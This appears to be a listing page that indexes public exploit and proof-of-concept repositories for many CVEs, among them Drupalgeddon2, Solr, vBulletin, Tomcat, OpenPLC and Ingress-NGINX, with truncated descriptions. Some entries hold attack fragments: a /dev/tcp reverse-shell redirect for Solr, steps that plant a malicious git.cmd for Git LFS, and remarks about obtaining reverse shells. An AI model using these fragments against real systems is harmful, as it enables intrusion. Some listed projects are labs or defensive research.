CVE-2023-4220_Chamilo_RCE

CVE-2023-4220 Python exploit for Chamilo Unrestricted File Upload Vuln - CVE-2023-4220 The code contained within the repository is meant for educational purposes only. Description: Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in...

CVE-2018-7600-Drupal-POC-EXP

+----------------------------------------------------------------------+ DES: by zhzyker as https://github.com/zhzyker/exphub + Drupal Drupalgeddon 2 Remote Code Execution CVE-2018-7600 + +----------------------------------------------------------------------+ USE: python3 + EXP: python3...

rosenbridge

project:rosenbridge : hardware backdoors in x86 CPUs github.com/xoreaxeaxeax/rosenbridge // domas // @xoreaxeaxeax Overview project:rosenbridge reveals a hardware backdoor in some desktop, laptop, and embedded x86 processors. The backdoor allows ring 3 userland code to circumvent processor...

Apache-Tomcat-CVE-2025-24813-Lab

CVE-2025-24813: Apache Tomcat Detection & Mitigation Lab A defensive cybersecurity portfolio project demonstrating vulnerability research, detection engineering, log correlation, layered mitigation, and technical documentation in an isolated two-VM environment. Project summary This repository...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x Unauthorized RCE Batch Detection Script This vulnerability is quite trivial; out of 200+ random targets, only 5 had it. Now handle it yourself—you already have PHP, how can you not get a reverse shell?...

cve-2020-8165-demo

CVE-2020-8165 Demo Yet another demo of CVE-2020-8165, though in a more realistic implementation than most. Background CVE-2020-8165 A deserialization of untrusted data vulnernerability exists in rails 5.2.4.3, rails 6.0.3.1 that can allow an attacker to unmarshal user-provided objects in...

r0ak

r0ak r0ak is a Windows command-line utility that enables you to easily read, write, and execute kernel-mode code with some limitations from the command prompt, without requiring anything else other than Administrator privileges. Quick Peek r0ak v1.0.0 -- Ring 0 Army Knife...

Oracle-WebLogic-CVE-2017-10271-master

WebLogic Wls-wsat XMLDecoder Vulnerability Description mitre:https://vulners.com/cve/CVE-2017-3506 Earlier, hackers exploited the WebLogic WLS component vulnerability to launch large-scale remote attacks on enterprise servers. Many enterprise servers were compromised, and the number of attacked...

CVE-2019-15120

CVE-2019-15120 Exploit for XSS via BBCode on Kunena extension before 5.1.14 for Joomla! Information Description: In Kunena extension before 5.1.14 for Joomla!, it’s possible for any user to execute a stored XSS attack by sending special message in any field with BBcode support. As a result, the...

cve-2024-4577-lab

CVE-2024-4577 — PHP-CGI Argument Injection → RCE Docker Lab / CTF A self-contained, from-scratch Docker lab that demonstrates the real argument-injection → Remote Code Execution primitive behind CVE-2024-4577. Exploit it over http://localhost:8080, pop a shell, and read the flag from inside the...

CVE-2025-69985

FUXA ≤ 1.2.8 Auth Bypass + RCE CVE-2025-69985 📜 Description This Python exploit targets CVE-2025-69985, a critical authentication bypass vulnerability in FUXA web-based SCADA/HMI software versions ≤ 1.2.8. By sending a crafted JSON payload with embedded Node.js code to the unprotected...

CVE-2021-41773

CVE-2021-41773 🐛 Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like...

CVE-2026-32746

🚨 CVE-2026-32746 GNU Inetutils Telnetd RCE 🔥 📌 Executive Summary Critical Vulnerability | CVSS 9.8 | Remote Code Execution! Affects: GNU Inetutils Telnetd versions prior to 2.7 Type: OOB Write in the LINEMODE SLC suboption handler Attack Vector: Network Port 23 | No authentication required Impact...

Flink-CVE-2020-17518-getshell

Flink-CVE-2020-17518-getshell Exploit Apache Flink CVE-2020-17518 getshell See: https://blog.rakjong.com/2021/01/10/flink-cve-2020-17518-getshell/...

CVE-2023-22527-POC

CVE-2023-22527: Atlassian Confluence Vulnerability Introduction The CVE-2023-22527 vulnerability is a critical security flaw in Atlassian Confluence, a widely used collaboration and documentation platform. This vulnerability exists in both Confluence Data Center and Confluence Server, which are...

cve-2020-27955

cve-2020-27955 cve-2020-27955 Reproduction 1. Create a GitHub repository 2. git clone https://github.com/attacker/poc.git . 3. echo calc.exe git.cmd 4. git lfs track “.dat” 5. echo “Junk” large.dat 6. git add -A 7. git commit -m “POC” 8. git push -u origin master -f...

CVE-2020-9484

CVE-2020-9484 Tomcat For educational purposes only. See Reference for the details. Run $ git clone https://github.com/masahiro331/CVE-2020-9484.git $ cd CVE-2020-9484 $ docker build -t tomcat:groovy . $ CONTAINER=docker run -d -p 8080:8080 tomcat:groovy Check clean $ docker exec -it $CONTAINER ls...

CVE-2021-31630

OpenPLC WebServer v3 - Authenticated RCE CVE-2021-31630 This exploit is based on the exploit from Exploit-DB made by Fellipe Oliveira. First, authenticate Upload a malicious C file Compile it Start the PLC initiate reverse shell Stop the PLC no need to run it, the reverse shell is already initiat...

CVE-2025-1974

Kubernetes Ingress-NGINX Unauthenticated Remote Code Execution CVE-2025-1974 Ingress-NGINX: An ingress controller for Kubernetes using NGINX as a reverse proxy and load balancer The "IngressNightmare" vulnerability CVE-2025-1974 stems from a critical flaw in the Ingress-NGINX Admission Controller...